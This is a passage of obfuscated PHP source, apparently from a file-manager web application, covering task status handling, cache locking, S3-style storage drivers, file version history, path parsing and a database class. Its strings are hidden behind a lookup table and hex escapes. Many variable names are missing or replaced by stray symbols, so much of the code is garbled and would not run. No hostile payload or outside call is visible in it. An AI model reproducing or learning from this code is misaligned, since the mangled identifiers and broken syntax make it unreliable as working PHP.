$this->task[$[401]] . $[1661]); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($ֆߕ) { $Ǜ =& $_SERVER[Ǿ]; Cache::set($Ǜ[1659] . $this->task[$Ǜ[401]], $ֆߕ, 60); return $ֆߕ; } public static function get($ô) { $ =& $_SERVER[Ǿ]; $? = self::valueGet($ô); if (is_array($?) && $?[$[1662]]) { $ƌ = ActionApply($?[$[1662]], array($?)); $? = is_array($ƌ) ? $ƌ : $?; } return $?; } public static function listData() { $ = self::valueGet(); return array_sort_by($, $_SERVER[Ǿ][1644], !0); } public static function kill($혚) { return self::changeStatus($혚, self::STATYS_KILL); } public static function stop($Ѻ) { return self::changeStatus($Ѻ, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public static function killAll() { $ϩ =& $_SERVER[Ǿ]; $ = self::listData(); foreach ($ as $ۦ) { self::kill($ۦ[$ϩ[401]]); } sleep(2); foreach ($ as $ۦ) { self::valueSet($ۦ[$ϩ[401]], !1); } } private static function changeStatus($ʣҹ, $Ӛ) { $ =& $_SERVER[Ǿ]; $Ґ = self::valueGet($ʣҹ); if (!$Ґ) { return !1; } $Ґ[$[742]] = $Ӛ; self::valueSet($ʣҹ, $Ґ); self::log($[1663] . $Ґ[$[401]] . $[1664] . $Ӛ); return !0; } public static function valueGet($ۓ = false) { $ʀ =& $_SERVER[Ǿ]; if ($ۓ) { $ʘ = Model($ʀ[445])->where(array($ʀ[105] => $ۓ, $ʀ[43] => $ʀ[1056]))->find(); return $ʘ ? json_decode($ʘ[$ʀ[378]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($Ɩ = false) { $ʛˁ =& $_SERVER[Ǿ]; $ = array($ʛˁ[43] => $ʛˁ[1056]); if ($Ɩ) { $[$ʛˁ[1640]] = $Ɩ; } $ۇ = Model($ʛˁ[445])->where($)->select(); $ۇ = $ۇ ? $ۇ : array(); foreach ($ۇ as $ => $) { $ۇ[$] = json_decode($[$ʛˁ[378]], !0); } return $ۇ; } public static function valueSet($, $Ƀ) { $ɑ =& $_SERVER[Ǿ]; if (!$Ƀ) { return Model($ɑ[445])->where(array($ɑ[105] => $, $ɑ[43] => $ɑ[1056]))->delete(); } $ = json_encode($Ƀ); if (!$) { ob_start(); var_dump($Ƀ); $خ = ob_get_clean(); self::log($ɑ[1665] . json_encode_force($خ)); } if (!$ || !$Ƀ[$ɑ[401]]) { return !1; } $館 = array($ɑ[43] => $ɑ[1056], $ɑ[1640] => USER_ID, $ɑ[105] => $, $ɑ[378] => $); $٬ = $ɑ[1666]; CacheLock::lock($٬); Model($ɑ[445])->add($館, array(), !0); CacheLock::unlock($٬); } public static function log($雛) { if (!GLOBAL_DEBUG) { return; } write_log($雛, $_SERVER[Ǿ][1667]); } } goto eԩ; FҲ: class CacheLockMemcached { public function lock($, $ƪ = 0) { $ۈ = Cache::init(); $ = microtime(!0) + $ƪ; while (microtime(!0) < $) { $ = $ۈ->get($); if (!$ || $ < microtime(!0)) { $ = $ۈ->handle->add($, $, $ƪ); if ($) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($) { return Cache::init()->get($); } public function unlock($) { return Cache::init()->remove($); } } class CacheLockDatabase { public function lock($Å, $쟳 = 0) { $ = Model($_SERVER[Ǿ][821]); $鈟ܠ = microtime(!0) + $쟳; while (microtime(!0) < $鈟ܠ) { $ߑ = $->get($Å); if (!$ߑ || $ߑ < microtime(!0)) { $Ӡ = $->set($Å, $鈟ܠ); if ($Ӡ) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($œؼ) { return Model($_SERVER[Ǿ][821])->get($œؼ); } public function unlock($Ć) { Model($_SERVER[Ǿ][821])->remove($Ć); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($ς, $ۖ) { $ =& $_SERVER[Ǿ]; if (!class_exists($[854])) { show_json($[855], !1); } $this->cacheTime = $ۖ; $this->handle = new Memcached(); if (is_array($ς[$[856]]) && count($ς[$[856]]) >= 1) { foreach ($ς[$[856]] as $Ŀ) { $݇ = explode($[4], $Ŀ); $this->handle->addServer($݇[0], $݇[1]); } } else { $this->handle->addServer($ς[$[184]], $ς[$[185]]); } } public function set($ځ, $Ձ֪, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($ځ, $Ձ֪, $); } public function get($) { return $this->handle->get($); } public function remove($ኦ) { return $this->handle->delete($ኦ); } public function deleteAll() { return $this->handle->flush(); } } goto BƼ; bӬ: class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($ң怹) { parent::__construct($ң怹); $this->signatureVersion($_SERVER[Ǿ][221]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } define($_SERVER[Ǿ][242], 1); define($_SERVER[Ǿ][243], 2); goto Dú; Bޫܥ: class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $· =& $_SERVER[Ǿ]; $ = $GLOBALS[$·[16]][$·[100]]; if ($[$·[1191]] != 1) { return; } if ($[$·[1192]] <= 0) { return; } if (isset($_REQUEST[$·[1193]]) && $_REQUEST[$·[1193]] == $·[99]) { return; } Hook::bind($·[1194], $·[1195]); Hook::bind($·[1196], $·[1197]); Hook::bind($·[1198], $·[1199]); Hook::bind($·[1200], $·[1201]); Hook::bind($·[1202], $·[1203]); Hook::bind($·[1204], $·[1205]); } public static function eventBeforeUpload($) { if ($[3] && $[3] != REPEAT_REPLACE) { return; } $ = self::parsePath($[0]); if (!$) { return; } self::add($); } public static function eventBeforeEdit($) { $ = self::parsePath($[0]); if (!$) { return; } self::add($); } public static function eventBeforeCopyFile($, $֠Ͳ, $Ě, $ݣ՝, $¿, $) { $ = $Ě->getPathOuter($ݣ՝); $ = self::parsePath($); if (!$) { return; } self::add($); } public static function eventBeforeRename($ܓ) { $ =& $_SERVER[Ǿ]; $ = self::parsePath($ܓ[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$[43]] == $[202]) { $Ѫ = self::listData($); if ($Ѫ && $Ѫ[$[373]]) { self::moveHistory($, $ܓ[1]); } } else { IO::rename($[$[88]], $ܓ[1]); } } public static function eventBeforeMove($ݎ) { $䮁 =& $_SERVER[Ǿ]; $븑 = self::parsePath($ݎ[0]); if (!$븑) { return; } $ŧ = self::parsePath($ݎ[1]); if (!$ŧ) { return; } $懽 = $ݎ[3]; $ܯ = self::checkInHistory($븑); if (!$ܯ) { return; } $ = self::pathHistory($ŧ); if ($ܯ[$䮁[43]] == $䮁[202]) { $ = self::listData($븑); $۪ = rtrim($ŧ, $䮁[18]) . $䮁[18] . ($懽 ? $懽 : get_path_this($븑)); $± = self::listData($۪); if ($ && $[$䮁[373]] && $± && $±[$䮁[373]]) { return self::clear($븑); } if ($ && $[$䮁[373]]) { self::moveHistory($븑, $懽, $); } } else { IO::move($ܯ[$䮁[88]], $, !1, $懽); self::clearEmptyFolder(IO::pathFather($ܯ[$䮁[88]])); } } public static function eventAfterRemove($ۄ, $赱) { $۝ =& $_SERVER[Ǿ]; if (!$赱) { return; } $ = self::parsePath($ۄ[0]); if (!$) { return; } $Ӓ = self::checkInHistory($); if (!$Ӓ) { return; } if ($Ӓ[$۝[43]] == $۝[202]) { $ѩ = self::listData($, !1); if ($ѩ && $ѩ[$۝[373]]) { self::clear($, !1); } } else { IO::remove($Ӓ[$۝[88]]); self::clearEmptyFolder(IO::pathFather($Ӓ[$۝[88]])); } } private static function checkInHistory($) { $³ = self::pathHistory($); if (!IO::exist($³)) { $³ .= $_SERVER[Ǿ][1206]; } return IO::exist($³) ? IO::info($³) : !1; } private static function parsePath($ߘ) { $ߍ枷 =& $_SERVER[Ǿ]; if (!$ߘ) { return !1; } if ($GLOBALS[$ߍ枷[1207]]) { return; } $랧 = KodIO::parse($ߘ); $ޟ = $랧[$ߍ枷[43]]; $ = !$ޟ || $ޟ == KodIO::KOD_IO || $ޟ == KodIO::KOD_SHARE_ITEM; if (!$ || !$랧[$ߍ枷[1208]]) { return !1; } if (substr($ߘ, 0, strlen(DATA_PATH . $ߍ枷[1209])) == DATA_PATH . $ߍ枷[1209]) { return !1; } if ($ޟ == KodIO::KOD_SHARE_ITEM) { $ӥ = IO::init($ߘ); if ($ӥ->pathParse[$ߍ枷[1136]]) { return self::parsePath($ӥ->pathParse[$ߍ枷[1136]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $ߍ枷[1210]); foreach ($ as $) { if (!$ޟ && substr($ߘ, 0, strlen($)) == $) { return !1; } } self::log($GLOBALS[$ߍ枷[1131]] . $ߍ枷[1211] . $ߘ); return $ߘ; } private static function pathHistory($ߕ) { $ݷ =& $_SERVER[Ǿ]; $ڛ = self::$_historyBase . ltrim(KodIO::clear($ߕ), $ݷ[18]); $ڛ = str_replace(array($ݷ[1212]), array($ݷ[1213]), $ڛ); return $ڛ; } public static function log($) { } public static function historyCount($ܤ) { $͆ =& $_SERVER[Ǿ]; $ = array(); $޲ = array(); foreach ($ܤ as $̙) { $ˏ = get_path_father($̙); if (!$޲[$ˏ]) { $޲[$ˏ] = array(); } $޲[$ˏ][] = get_path_this($̙); } foreach ($޲ as $ˏ => $֝) { $Nj = self::parsePath($ˏ); if (!$Nj) { continue; } foreach ($֝ as $͇) { $՚ϥ = self::listData(rtrim($Nj, $͆[18]) . $͆[18] . $͇, !1); if ($՚ϥ && $՚ϥ[$͆[373]]) { $[rtrim($ˏ, $͆[18]) . $͆[18] . $͇] = count($՚ϥ[$͆[373]]); } } } return $; } public static function add($њ) { $ =& $_SERVER[Ǿ]; $ҿ = self::listData($њ); if (!$ҿ) { return; } $۟ = Model($[762])->get($[1214]); $ֶ = $GLOBALS[$[16]][$[100]][$[1192]]; $ϋ = $۟ == $[1215] ? 5 : $ֶ; if ($ֶ <= 0) { return; } $Ҥ = IO::hashSimple($њ); $ = IO::info($њ); $ԑ = $ҿ[$[373]]; if ($[$[90]] == 0) { return; } if ($[$[90]] >= 1024 * 1024 * 500) { return !1; } if ($ԑ && $ԑ[0][$[180]] == $Ҥ) { return !0; } if (array_key_exists($[205], $) && !$[$[205]]) { return !1; } $ߴ = short_id(time()); $ = array($[401] => $ߴ, $[180] => $Ҥ, $[42] => $[$[42]] . $[20] . date($[1216]) . rand_string(1), $[90] => $[$[90]], $[452] => USER_ID, $[203] => time(), $[1217] => $[22]); IO::mkdir($ҿ[$[1218]]); $ = IO::copy($њ, $ҿ[$[1218]], !1, $[$[42]]); if (!$) { self::clearEmptyFolder($ҿ[$[1218]]); return !1; } array_unshift($ԑ, $); if (count($ԑ) > $ϋ) { $Б = array_slice($ԑ, $ϋ); foreach ($Б as $۵ؖ) { IO::remove($ҿ[$[1218]] . $۵ؖ[$[42]]); } $ԑ = array_slice($ԑ, 0, $ϋ); } return self::saveData($ҿ[$[1219]], $ԑ); } public static function remove($Ս, $) { $×א =& $_SERVER[Ǿ]; $ = self::listData($Ս); $ = array(); if (!$) { return !1; } foreach ($[$×א[373]] as $) { if ($[$×א[401]] == $) { IO::remove($[$×א[1218]] . $[$×א[42]]); continue; } $[] = $; } return self::saveData($[$×א[1219]], $); } public static function clear($ىܱ, $ׂ = true) { $잱 =& $_SERVER[Ǿ]; $ڄ = self::listData($ىܱ, $ׂ); if (!$ڄ) { return !1; } foreach ($ڄ[$잱[373]] as $۽) { IO::remove($ڄ[$잱[1218]] . $۽[$잱[42]]); } return self::saveData($ڄ[$잱[1219]], array()); } public static function moveHistory($ɤ, $ۣ = '', $ɛ = '') { $հ =& $_SERVER[Ǿ]; $ا = self::listData($ɤ, !1); if (!$ا || !$ا[$հ[373]]) { return !1; } $åʸ = $հ[1206]; $ۣ = $ۣ ? $ۣ : get_path_this($ɤ); $ɛ = $ɛ ? $ɛ : $ا[$հ[1218]]; $̞ = substr(get_path_this($ا[$հ[1219]]), 0, -strlen($åʸ)); foreach ($ا[$հ[373]] as $ => $व) { $˥ = $ۣ . substr($व[$հ[42]], strlen($̞)); $ = IO::move($ا[$հ[1218]] . $व[$հ[42]], $ɛ, !1, $˥); if ($) { $ا[$հ[373]][$][$հ[42]] = $˥; } } $ا[$հ[1219]] = IO::move($ا[$հ[1219]], $ɛ, !1, $ۣ . $åʸ); self::saveData($ا[$հ[1219]], $ا[$հ[373]]); self::clearEmptyFolder($ا[$հ[1218]]); } public static function rollback($Ӗ, $ژ) { $ɜ =& $_SERVER[Ǿ]; $쒰 = self::listData($Ӗ); if (!$쒰) { return; } $ = IO::info($Ӗ); foreach ($쒰[$ɜ[373]] as $Ԏ => $) { if ($[$ɜ[401]] == $ژ) { self::add($Ӗ); $ = $쒰[$ɜ[1218]] . $[$ɜ[42]]; $ַ֧ = IO::copy($, IO::pathFather($Ӗ), REPEAT_REPLACE, $[$ɜ[42]]); if ($ַ֧) { self::remove($Ӗ, $ژ); } return $ַ֧; } } return !1; } public static function setDetail($, $Տ, $ښ) { $ =& $_SERVER[Ǿ]; $¹ = self::listData($); if (!$¹) { return; } foreach ($¹[$[373]] as $۱ۅ => $) { if ($[$[401]] == $Տ) { $¹[$[373]][$۱ۅ][$[1217]] = $ښ; self::saveData($¹[$[1219]], $¹[$[373]]); return !0; } } return !1; } public static function fileInfo($큶Ѣ, $) { $؎ =& $_SERVER[Ǿ]; $۰ = self::listData($큶Ѣ); if (!$۰) { show_json(LNG($؎[116]), !1); } $ţ = $؎[22]; foreach ($۰[$؎[373]] as $ڧ => $սގ) { if ($սގ[$؎[401]] != $) { continue; } $ţ = $۰[$؎[1218]] . $սގ[$؎[42]]; break; } if (!$ţ) { show_json(LNG($؎[116]), !1); } return IO::info($ţ); } public static function fileOut($݂, $, $ = false) { $ =& $_SERVER[Ǿ]; $ŗ = self::fileInfo($݂, $); $ˤ =& $GLOBALS[$[17]]; $ = isset($ˤ[$[1182]]) && $ˤ[$[1182]] == 1; if (isset($ˤ[$[43]]) && $ˤ[$[43]] == $[1220]) { return IO::fileOutImage($ŗ[$[88]], $ˤ[$[1221]]); } IO::fileOut($ŗ[$[88]], $, get_path_this($݂)); } public static function listData($ӗ, $̞ܝ = true) { $á =& $_SERVER[Ǿ]; if ($̞ܝ && !IO::exist($ӗ)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($ӗ, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($ӗ); $ = array($á[1219] => $ . $á[1206], $á[1218] => rtrim(get_path_father($), $á[18]) . $á[18], $á[373] => array()); $⥦ = IO::getContent($[$á[1219]]); if ($⥦) { $ϣ = json_decode($⥦, !0); if (is_array($ϣ)) { $[$á[373]] = $ϣ; } } return $; } private static function saveData($뭧ˉ, $ԃ) { $λ =& $_SERVER[Ǿ]; self::log($λ[1222] . $뭧ˉ . $λ[81] . count($ԃ), $λ[744]); if ($ԃ) { return IO::setContent($뭧ˉ, json_encode($ԃ)); } $ = IO::pathFather($뭧ˉ); IO::remove($뭧ˉ); self::clearEmptyFolder($); return !0; } public static function clearEmptyFolder($ז) { $ =& $_SERVER[Ǿ]; if (trim($ז, $[18]) == trim(self::$_historyBase, $[18])) { return; } $ = IO::pathFather($ז); $ = IO::has($ז, !0); if ($[$[212]] > 0 || $[$[213]] > 0) { return; } IO::remove($ז); self::clearEmptyFolder($); } private static function getBasePath() { $ =& $_SERVER[Ǿ]; $ǧ = Model($[1223])->get($[1224]); if ($ǧ) { if (!IO::exist($ǧ)) { IO::mkdir($ǧ); } if (get_path_this($ǧ) == $[1209]) { $ = $[1225] . rand_string(8); @rename($ǧ, get_path_father($ǧ) . $[18] . $); $ǧ = DATA_PATH . $ . $[18]; file_put_contents(DATA_PATH . $[1226], $[22]); Model($[1223])->set($[1224], $ǧ); } return $ǧ; } $ǧ = DATA_PATH . $[1225] . rand_string(8) . $[18]; $ǧ = IO::mkdir($ǧ); $ǧ = rtrim($ǧ, $[18]) . $[18]; file_put_contents($ǧ . $[1226], $[22]); file_put_contents(DATA_PATH . $[1226], $[22]); Model($[1223])->set($[1224], $ǧ); return $ǧ; } } class KodIO { const KOD_SOURCE = "\173\163\157\x75\x72\x63\x65\175"; const KOD_USER_RECYCLE = "\x7b\165\163\145\162\x52\145\x63\x79\x63\154\145\x7d"; const KOD_USER_FAV = "\173\165\163\x65\162\106\141\x76\175"; const KOD_USER_FILE_TAG = "\173\x75\163\145\162\x46\x69\154\x65\x54\x61\x67\x7d"; const KOD_USER_FILE_TYPE = "\x7b\165\163\x65\162\x46\x69\x6c\145\x54\x79\x70\145\x7d"; const KOD_GROUP_ROOT_SELF = "\173\147\162\x6f\x75\x70\122\x6f\x6f\x74\x53\x65\x6c\146\x7d"; const KOD_USER_SHARE = "\173\165\163\145\x72\123\150\x61\x72\x65\x7d"; const KOD_USER_SHARE_LINK = "\x7b\165\163\145\162\x53\150\x61\x72\x65\114\151\156\x6b\175"; const KOD_USER_SHARE_TO_ME = "\173\x73\150\141\x72\145\124\x6f\115\x65\175"; const KOD_SHARE_ITEM = "\173\x73\x68\141\x72\x65\111\164\145\x6d\175"; const KOD_SHARE_LINK = "\173\x73\150\141\162\145\111\x74\145\x6d\114\x69\x6e\153\x7d"; const KOD_SEARCH = "\173\x73\145\141\x72\143\x68\175"; const KOD_BLOCK = "\x7b\142\x6c\x6f\143\x6b\175"; const KOD_IO = "\173\151\x6f\175"; const KOD_USER_RECENT = "\x7b\165\x73\145\162\122\145\x6e\x63\x65\x6e\164\175"; const KOD_USER_DRIVER = "\x7b\x64\162\x69\x76\x65\x72\175"; public static function typeList() { $ =& $_SERVER[Ǿ]; return array($[1227] => self::KOD_SOURCE, $[1228] => self::KOD_USER_RECYCLE, $[1229] => self::KOD_USER_FAV, $[1230] => self::KOD_USER_FILE_TAG, $[1231] => self::KOD_USER_FILE_TYPE, $[1232] => self::KOD_GROUP_ROOT_SELF, $[1233] => self::KOD_USER_SHARE, $[1234] => self::KOD_USER_SHARE_LINK, $[1235] => self::KOD_USER_SHARE_TO_ME, $[1236] => self::KOD_SHARE_ITEM, $[1237] => self::KOD_SHARE_LINK, $[1238] => self::KOD_SEARCH, $[1239] => self::KOD_BLOCK, $[1240] => self::KOD_IO, $[1241] => self::KOD_USER_RECENT, $[1242] => self::KOD_USER_DRIVER); } public static function parse($͓) { $Ń =& $_SERVER[Ǿ]; $͓ = self::clear($͓); $ϊ = array_values(self::typeList()); preg_match($Ń[1243], $͓, $); $ = array($Ń[423] => !1, $Ń[1244] => !1, $Ń[420] => !1, $Ń[88] => $͓, $Ń[1153] => !1, $Ń[1152] => $Ń[22]); if (is_array($) && count($) == 5) { $е = $Ń[1245] . $[2] . $Ń[331]; if (in_array($е, $ϊ)) { $[$Ń[1153]] = $[1]; $[$Ń[43]] = $е; $[$Ń[1246]] = substr($е, 1, -1); $[$Ń[401]] = $[3]; } $[$Ń[1152]] = $[4]; } $˼ = array($Ń[22], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$Ń[1208]] = in_array($[$Ń[43]], $˼); return $; } public static function isTruePath($ɜ) { $Ӷ =& $_SERVER[Ǿ]; if (substr($ɜ, 0, 1) != $Ӷ[1245]) { return !0; } if (strpos($ɜ, $Ӷ[409]) === 0) { return !0; } if (strpos($ɜ, $Ӷ[1212]) === 0) { return !0; } if (strpos($ɜ, $Ӷ[1247]) === 0) { return !0; } if (strpos($ɜ, $Ӷ[1248]) === 0) { return !0; } if (strpos($ɜ, $Ӷ[1249]) === 0) { return !0; } return !1; } public static function clear($) { $ȉ =& $_SERVER[Ǿ]; $ = str_replace(array($ȉ[1063], $ȉ[11]), $ȉ[63], $); $ = str_replace($ȉ[108], $ȉ[18], $); $ = $ȉ[1250]; if (substr($, 0, 3) == $ȉ[1251]) { $ = substr($, 3); } while (strstr($, $)) { $ = str_replace($, $ȉ[18], $); } $ = preg_replace($ȉ[1252], $ȉ[18], $); if ($ == $ȉ[18]) { return $ȉ[18]; } $ = rtrim($, $ȉ[18]); return $; } public static function sourceID($) { $՚ܶ =& $_SERVER[Ǿ]; $š = self::parse($); if ($š[$՚ܶ[43]] !== self::KOD_SOURCE) { show_json(LNG($՚ܶ[1253]), !1); } return $š[$՚ܶ[401]]; } public static function make($ɵ) { if (!$ɵ) { return !1; } return self::makePath(self::KOD_SOURCE, intval($ɵ)); } public static function makeShare($, $) { return self::makePath(self::KOD_SHARE_ITEM, $, $); } public static function makeFileTypePath($) { return self::makePath(self::KOD_USER_FILE_TYPE, $); } public static function makeFileTagPath($ژ) { return self::makePath(self::KOD_USER_FILE_TAG, $ژ); } public static function makePath($, $Ԑ = '', $ = '') { $Ѻᦟ =& $_SERVER[Ǿ]; $ = substr($, 1, -1); $땡 = $Ѻᦟ[1254] . $ . $Ѻᦟ[1255] . $Ԑ . $Ѻᦟ[1256]; $땡 = $ ? $땡 . $ . $Ѻᦟ[18] : $땡; return $땡; } public static function hashPath($, $蛿 = true) { $ј =& $_SERVER[Ǿ]; $ό = is_array($) ? $ : IO::info($); $օ = _get($ό, $ј[1257], $ј[22]); if (!$օ && isset($ό[$ј[403]])) { $ό = IO::info(KodIO::make($ό[$ј[403]])); $օ = _get($ό, $ј[1257], $ј[22]); } if (!$օ && $蛿) { $н = KodIO::parse($ό[$ј[88]]); if (!$н[$ј[43]]) { $օ = IO::hashSimple($ό[$ј[88]]); } } if (!$օ) { $օ = md5($ό[$ј[88]] . $ό[$ј[90]] . $ό[$ј[96]]); } return $օ; } public static function initSystemPath() { $Գ =& $_SERVER[Ǿ]; if (defined($Գ[1258])) { return; } define($Գ[1258], self::systemPath($Գ[1259])); define($Գ[1260], self::systemPath($Գ[1261])); define($Գ[1262], self::systemPath($Գ[1263])); define($Գ[1264], self::systemPath($Գ[1265])); IOHistory::bindEvent(); } public static function systemPath($) { $ᎁ =& $_SERVER[Ǿ]; $ = $ᎁ[1266] . ucfirst($); $ = Model($ᎁ[762])->get($); if ($) { return $; } if ($ == $ᎁ[1259]) { $ = self::make(Model($ᎁ[817])->systemRootPathAdd($ᎁ[537])); } else { $ = self::systemPath($ᎁ[1259]); $ = self::sourceID($); $ = self::make(Model($ᎁ[817])->mkdir($, $)); } Model($ᎁ[762])->set($, $); return $; } public static function systemFolder($) { $ = IO_PATH_SYSTEM_SOURCE . $; $ = Cache::get($); if (!$) { $ = IO::infoFull($); if (!$) { $ = IO::mkdir($, REPEAT_SKIP); } else { $ = $[$_SERVER[Ǿ][88]]; } Cache::set($, $, 3600 * 10); } return $; } public static function defaultDriver() { return Model($_SERVER[Ǿ][759])->defaultDriver(); } public static function defaultIO() { $ҋ =& $_SERVER[Ǿ]; $ꖚ = self::defaultDriver(); return $ҋ[1267] . $ꖚ[$ҋ[401]] . $ҋ[1256]; } public static function defaultDriverInit() { static $䤾 = false; if ($䤾) { return $䤾; } $䤾 = IO::init(self::defaultIO()); return $䤾; } public static function fileTypeList() { $ =& $_SERVER[Ǿ]; $ר = $GLOBALS[$[16]][$[1268]]; foreach ($ר as $燏 => $Կ) { $󄯊 = $[1269] . $燏; $ = LNG($󄯊); if ($󄯊 != $) { $ר[$燏][$[42]] = $; } } return $ר; } public static function diskList($½ = true) { $̳ = $_SERVER[Ǿ][1270]; if ($½) { $ = Cache::get($̳); if (is_array($)) { return $; } } $ = self::diskListGet(); Cache::set($̳, $, 60); return $; } public static function diskListGet() { $š =& $_SERVER[Ǿ]; $縩 = array(); if ($GLOBALS[$š[16]][$š[1271]] == $š[1272]) { $翶 = $š[1273]; for ($ؤ = 0; $ؤ < strlen($翶); $ؤ++) { $ސ = $翶[$ؤ] . $š[1274]; if (file_exists($ސ)) { $縩[] = $ސ; } } return $縩; } if (!function_exists($š[109])) { $縩[] = $š[827]; return $縩; } $ = explode($š[11], shell_exec($š[1275])); array_shift($); array_pop($); $ӂ = array($š[1276], $š[1277], $š[1278], $š[1279], $š[1280], $š[1281], $š[1282], $š[1283]); foreach ($ as $֘) { $Ɋ = preg_split($š[1284], $֘); $ސ = $Ɋ[count($Ɋ) - 1]; if (!strstr($Ɋ[0], $š[1285]) || !$ސ) { continue; } $ = rtrim($ސ, $š[18]) . $š[18]; if (in_array($, $ӂ)) { continue; } $縩[] = $; } return $縩; } public static function isSameDisk($ᨥ, $ј) { $ә =& $_SERVER[Ǿ]; if ($GLOBALS[$ә[16]][$ә[1271]] == $ә[1272]) { return strtolower(substr($ᨥ, 0, 1)) == strtolower(substr($ј, 0, 1)); } $ = self::diskList(); $Ք̽ = !1; $߸ = !1; sort($); $ = array_reverse($); $ᨥ = rtrim($ᨥ, $ә[18]) . $ә[18]; $ј = rtrim($ј, $ә[18]) . $ә[18]; foreach ($ as $ȅ) { $ = strlen($ȅ); if (!$Ք̽ && substr($ᨥ, 0, $) == $ȅ) { $Ք̽ = $ȅ; } if (!$߸ && substr($ј, 0, $) == $ȅ) { $߸ = $ȅ; } if ($Ք̽ && $߸) { break; } } return $Ք̽ === $߸; } public static function transferType($, $鶫) { $Ƽܿ =& $_SERVER[Ǿ]; $Ђگ = self::driverType($); $ٕ = self::driverType($鶫); if ($Ђگ[$Ƽܿ[43]] == $ٕ[$Ƽܿ[43]] && $Ђگ[$Ƽܿ[1286]] == $ٕ[$Ƽܿ[1286]]) { return $Ƽܿ[1287]; } if ($Ђگ[$Ƽܿ[43]] == $Ƽܿ[856] && $ٕ[$Ƽܿ[43]] == $Ƽܿ[117]) { return $Ƽܿ[1182]; } if ($Ђگ[$Ƽܿ[43]] == $Ƽܿ[117] && $ٕ[$Ƽܿ[43]] == $Ƽܿ[856]) { return $Ƽܿ[118]; } return $Ƽܿ[1288]; } public static function driverType($) { $͏ =& $_SERVER[Ǿ]; $Ɋխ = str_replace($͏[1289], $͏[22], strtolower($->getType())); if ($Ɋխ == $͏[750] || $Ɋխ == $͏[1290] || $Ɋխ == $͏[1291]) { $ = self::defaultDriverInit(); } else { if ($Ɋխ == $͏[1189] || $Ɋխ == $͏[1292]) { $ = IO::init($->pathParse[$͏[1136]]); } } $㟰 = $->path; $Ɋխ = str_replace($͏[1289], $͏[22], strtolower($->getType())); if ($Ɋխ == $͏[117]) { return array($͏[43] => $͏[117], $͏[1286] => $͏[22], $͏[88] => $㟰); } return array($͏[43] => $͏[856], $͏[1286] => $->pathDriver, $͏[88] => $㟰); } public static function pathDriverType($锒) { return $锒 ? self::driverType(IO::init($锒)) : !1; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($צ) { parent::__construct($צ); $this->signatureVersion($_SERVER[Ǿ][221]); } public function uploadFormData($̭, $Ү֝ = 3600) { $툍 =& $_SERVER[Ǿ]; $冿 = $툍[201]; $ = $툍[236]; $Ķ = $툍[1293]; $ = gmdate($툍[1294], time() + $Ү֝); $䒽 = (string) time() . $툍[81] . (string) (time() + $Ү֝); $Η = array($툍[1295] => $, $툍[1296] => array(array($툍[1297] => $冿), array($툍[1298] => $this->bucket), array($툍[1299], $툍[1300], $툍[22]), array($툍[1301] => $Ķ), array($툍[1302] => $), array($툍[1303] => $this->accessKey), array($툍[1304] => $䒽))); $Η = json_encode($Η); $á = hash_hmac($툍[236], $䒽, $this->secret); $Ά = sha1($Η); $ = hash_hmac($툍[236], $Ά, $á); $ʂ = array($툍[1297] => $冿, $툍[1301] => $Ķ, $툍[1305] => base64_encode($Η), $툍[1302] => $, $툍[1303] => $this->accessKey, $툍[1306] => $䒽, $툍[1307] => $, $툍[184] => $this->getHost()); return $ʂ; } public function fileOutLink($܃ö) { $ =& $_SERVER[Ǿ]; if (substr($܃ö, 0, 7) == $[1308]) { $܃ö = $[1309] . substr($܃ö, 7); } header($[168] . $܃ö); die; } } goto Cꗐ; dرƷ: class DbSqlite3 extends DbSqlite3Base { public function query($ۯ) { $ =& $_SERVER[Ǿ]; if (!CacheLock::fileLock($[23])) { return !1; } $ = parent::query($ۯ); CacheLock::fileUnLock($[23]); return $; } public function execute($­) { $ =& $_SERVER[Ǿ]; if (!CacheLock::fileLock($[23])) { return !1; } $ = parent::execute($­); CacheLock::fileUnLock($[23]); return $; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\164\150\151\156\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\x65\161" => "\75", "\156\145\x71" => "\x3c\x3e", "\147\164" => "\x3e", "\x65\x67\x74" => "\x3e\x3d", "\x6c\x74" => "\x3c", "\145\x6c\164" => "\74\x3d", "\x6e\157\x74\x6c\151\153\145" => "\x4e\x4f\x54\x20\x4c\x49\113\105", "\x6c\x69\x6b\x65" => "\114\x49\x4b\x45", "\x69\x6e" => "\x49\x4e", "\x6e\x6f\164\x69\156" => "\116\117\x54\40\x49\116", "\x6e\157\164\40\x69\x6e" => "\116\x4f\x54\40\x49\116", "\x62\145\x74\167\145\x65\x6e" => "\x42\105\x54\127\105\105\116", "\156\x6f\164\142\x65\164\x77\x65\145\x6e" => "\x4e\x4f\x54\x20\x42\105\124\x57\x45\x45\x4e", "\x6e\157\x74\x20\142\145\x74\x77\x65\x65\156" => "\116\117\124\40\x42\105\x54\127\105\x45\116"); protected $selectSql = 